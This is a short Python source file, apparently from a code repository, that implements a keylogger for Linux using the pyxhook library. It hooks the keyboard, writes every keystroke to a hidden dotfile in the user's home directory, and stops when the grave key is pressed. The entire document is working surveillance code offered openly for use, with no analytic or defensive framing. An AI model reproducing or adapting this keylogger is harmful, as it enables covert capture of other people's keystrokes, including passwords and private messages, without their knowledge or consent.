keylogger

keylogger.py

#!/usr/bin/env python
"""
Based on script by Aman Deep

A simple keylogger witten in python for linux platform
All keystrokes are recorded in a log file.

The program terminates when grave key(`) is pressed

grave key is found below Esc key
"""

import os
import pyxhook

#hidden key log file
log_file=os.path.join(os.environ['HOME'], '.key.log')

#called on key press
def OnKeyPress(event):
  fob=open(log_file,'a')
  fob.write(event.Key)
  fob.write('\n')

  if event.Ascii==96: #96 is the ascii value of the grave key (`)
    fob.close()
    new_hook.cancel()
#instantiate HookManager class
new_hook=pyxhook.HookManager()
#listen to all keystrokes
new_hook.KeyDown=OnKeyPress
#hook the keyboard
new_hook.HookKeyboard()
#start the session
new_hook.start()